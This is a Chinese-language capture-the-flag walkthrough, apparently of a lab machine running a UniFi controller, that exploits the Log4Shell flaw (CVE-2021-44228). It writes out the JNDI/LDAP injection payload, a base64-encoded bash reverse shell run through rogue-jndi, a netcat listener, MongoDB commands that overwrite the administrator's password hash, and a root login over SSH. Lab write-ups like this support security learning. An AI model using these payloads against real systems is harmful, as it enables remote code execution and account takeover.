资产收集 10.129.13.192

改host网页发现无法连接web服务 nmap扫描端口号等服务信息

查到基础端口号22,8080,6789，8443等

去到8080端口发现web网页是一个登录界面

Graphical user interface

Description automatically generated

通过登录界面可以根据软件的版本号信息去Google有没有漏洞等信息

找到一个已知漏洞CVE-2021-44228 简要就是去执行log4j的漏洞去创建一个反弹shell从而获取unified的权限

用burp抓一个post的包来对“remember”字段里的数值进行修改，发送到repeater如果有invalid api说明可以注入。从<https://www.sprocketsecurity.com/resources/another-log4j-on-the-fire-unifi>网站可以查到详细的漏洞利用和复现手法。在其他版本的unifi中字段也可能存在username或是password中

这里payload是 ${jndi:ldap://{Tun0 IP Address}/whatever}

JNDI是Java Naming and Directory Interface API的缩写，call这个api程序可以定位资源和其他项目的类

LDAP是Lightweight Directory Access Protocol的缩写 轻型目录访问协议 默认port 389

通过修改repeater 可以用tcpdump或是wireshark抓包得知web服务器与本地的交互

执行漏洞利用需要利用到 Open-JDK和 Maven来构造payload

Open-JDK 是 Java 开发工具包，用于构建 Java 应用程序

Maven 是一个集成开发环境 (IDE)，可用于创建结构化项目并将我们的项目编译成 jar 文件。

这些应用程序将帮助运行 rogue-jndi Java 应用程序，该应用程序启动本地 LDAP 服务器并允许我们从易受攻击的服务器接收连接并执行恶意代码。

从github找到rogue-jndi的代码并用maven来构建

git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package

创建出一个.jar的文件在 rogue-jndi/target/ 目录下，再来构造一个经过base64加密的payload防止传输加密问题

echo 'bash -c bash -i >&/dev/tcp/{Your IP Address}/{A port of your choice} 0>&1' | base64

得到一个一段加密的payload，把字段放入Rogue-jndi中

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,BASE64 STRING HERE}| {base64,-d}|{bash,-i}" --hostname "{YOUR TUN0 IP ADDRESS}"

本地起一个nc -lvp 4444监听口，重新在repeater发送POST请求

${jndi:ldap://{Your Tun0 IP}:1389/o=tomcat}

本地的4444端口会收到服务器发来的连接 whoami unifi

升级拿到的shell script /dev/null -c bash 在/home/目录下找到用户拿到user.txt

Ps aux | grep mongo 查看所使用的MongoDB版本 端口等信息

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

找到administrator和xshadow加密的密码

使用mkpasswd -m sha-512 Password1234 对新的密码进行hash

mongo --port 27117 ace --eval 'db.admin.update({"\_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x\_shadow":"SHA\_512 Hash Generated"}})'

将新的hash密码update到database中 在使用administrator登陆网页成功

在网页setting中找到root的明文登陆口令NotACrackablePassword4U2022

使用ssh root登陆拿到root权限找到root.txt